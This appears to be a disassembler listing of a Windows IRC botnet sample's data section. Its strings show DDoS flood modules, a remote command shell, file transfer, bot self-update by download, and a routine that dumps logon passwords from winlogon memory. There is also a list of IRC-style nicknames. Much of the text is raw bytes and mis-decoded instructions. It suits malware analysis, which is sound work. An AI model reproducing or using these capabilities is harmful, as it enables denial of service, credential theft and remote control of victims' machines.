db '- WSAIoctl() failed, returned %d',0 align 10h unk_437880 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378D4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AFC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EEC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437F00 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F38 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F4C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F60 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F7C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FFC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438020 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438038 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438064 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438088 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_4380A0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380B8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380D8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380FC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438120 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43814C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43816C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43819C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381CC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381F8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43822C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438270 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43828C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382C4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382EC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438318 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438340 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438368 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383B8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383BC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383D0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43840C db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438448 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384B8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384EC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438518 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438550 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_4385AC dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo dd offset loc_520044+1 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385C4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo dd offset loc_520044+1 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438688 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386D4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438724 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438778 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- and al, 93h inc ebx add [eax-53FFBD4Fh], dl mov byte ptr [edx+0], 28h mov byte ptr [edx+0], 20h xchg eax, ebx inc ebx add ah, dl scasd inc edx add [esi+eax*8+42h], bh add [eax+200042AFh], dh mov dl, 42h add [esi+eax*8-6CE3FFBEh], al inc ebx add [eax], bl xchg eax, ebx inc ebx add [ebx+edx*4], dl inc ebx add [eax], dl xchg eax, ebx inc ebx add [eax+700042B7h], cl mov bh, 42h add al, bh retf 42h ; --------------------------------------------------------------------------- dd offset dword_43930C dd offset dword_439308 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_439304 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_439300 dd offset dword_4392FC dd offset dword_4392F8 dd offset dword_4392F4 dd offset dword_4392F0 dd offset word_4392EC dd offset dword_4392E8 dd offset aI_0 ; "I" dd offset dword_4392E4 dd offset dword_4392E0 dd offset aA_0 ; "A" dd offset dword_4392DC dd offset dword_4392D8 dd offset dword_4392D4 dd offset dword_4392D0 dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset word_4392A8 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439040 dd offset off_43903C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438EA8 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A78 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" ; --------------------------------------------------------------------------- mov [ebp-727FFFBDh], cl inc ebx add [ebp+ecx*4+43h], bh add [eax-73h], bh inc ebx add [eax-73h], dh inc ebx add [eax-73h], ch inc ebx add [eax-73h], ah inc ebx add [eax-73h], bl inc ebx add [eax-73h], dl inc ebx add [eax-73h], cl inc ebx add [eax-73h], al inc ebx add [eax], bh lea eax, [ebx+0] sub al, 8Dh inc ebx add ds:8D1C0043h[ecx*4], ah inc ebx add [eax], bl lea eax, [ebx+0] adc [ebp-6CFBFFBDh], cl inc ebx add [ecx+esi*4+42h], dl add [ebx+edx*4], bl inc ebx add [eax+180042B1h], dl xchg eax, ebx inc ebx add [ebx+edx*4], dl inc ebx add [eax], dl xchg eax, ebx inc ebx add [esi+eax*8+42h], bh add [eax-47h], al inc edx add [eax+700042B7h], cl mov bh, 42h add al, bh retf 42h ; --------------------------------------------------------------------------- dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439324 dd offset dword_439308 dd offset dword_439320 dd offset dword_43930C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" ; --------------------------------------------------------------------------- aam 8Ch inc ebx add ah, cl mov word ptr [ebx+0], es or al, 93h inc ebx add [ebx+edx*4], dl inc ebx add [esi+eax*8-396FFFBEh], al loc_438B62: ; CODE XREF: ___:00438BD4j inc edx add al, cl mov word ptr [ebx+0], es ror byte ptr [ebx+eax*2+43DB9800h], 0 cwde fild dword ptr [ebx+0] mov esp, 9800438Ch fild dword ptr [ebx+0] cwde fild dword ptr [ebx+0] cwde fild dword ptr [ebx+0] cwde fild dword ptr [ebx+0] aam 92h inc ebx add [edx+edx*4-734BFFBDh], ah inc ebx add [eax-57FFBC74h], dh mov word ptr [ebx+0], es add al, 93h inc ebx add [eax-63FFBC25h], bl mov word ptr [ebx+0], es cwde fild dword ptr [ebx+0] cwde fild dword ptr [ebx+0] xchg eax, esp mov word ptr [ebx+0], es mov word ptr [ebx+eax*2+43DB9800h], cs add [eax-47FFBC25h], bl xchg eax, edx inc ebx add [eax-77FFBC25h], bl mov word ptr [ebx+0], es or byte ptr [ebx+eax*2+438C7800h], 0 jo short loc_438B62 inc ebx add [esp+ecx*4+43h], ch add [esp+ecx*4+43h], ah add [esp+ecx*4+43h], bl add [esp+ecx*4+43h], dl add [esp+ecx*4+43h], cl add [eax-74h], cl inc ebx add [esp+ecx*4+43h], al add [esp+ecx*4], bh inc ebx add [eax], dh mov word ptr [ebx+0], es sub [ebx+eax*2+438C2000h], cl add [eax], bl mov word ptr [ebx+0], es adc al, 8Ch inc ebx add [eax], dl mov word ptr [ebx+0], es db 36h jnz short $+3 add ds:7C000075h, dh xor al, 75h jl short $+2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 6F79347Bh, 7D75h, 7375347Ch, 7Ch, 7865737Ch, 65726634h dd 7C65h, 6F6C6F6Ch, 7C617Ch, 6C6F6Ch, 746F74h, 6F666F6Dh dd 0 aMof0 db 'mof0',0 align 4 aMuha db 'muha',0 align 4 aYeah db 'yeah',0 align 4 aAha db 'aha',0 aShit db 'shit',0 align 4 aGurl db 'gurl',0 align 10h aGirl_0 db 'GIRL',0 align 4 dd offset loc_594F42 aFree db 'Free',0 align 4 aFuck_0 db 'Fuck',0 align 4 aSleeping db 'Sleeping',0 align 4 aF_2 db '^^^f^',0 align 10h aSad db 'Sad',0 aLuvu db 'LUVU',0 align 4 a___0 db '_|_',0 aBbl db '|bbl',0 align 4 dd offset loc_425240+2 aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B48o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B44o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B40o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B3Co aRt db 'rt',0 ; DATA XREF: ___:00438B38o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B34o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B30o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B2Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B28o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438B08o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 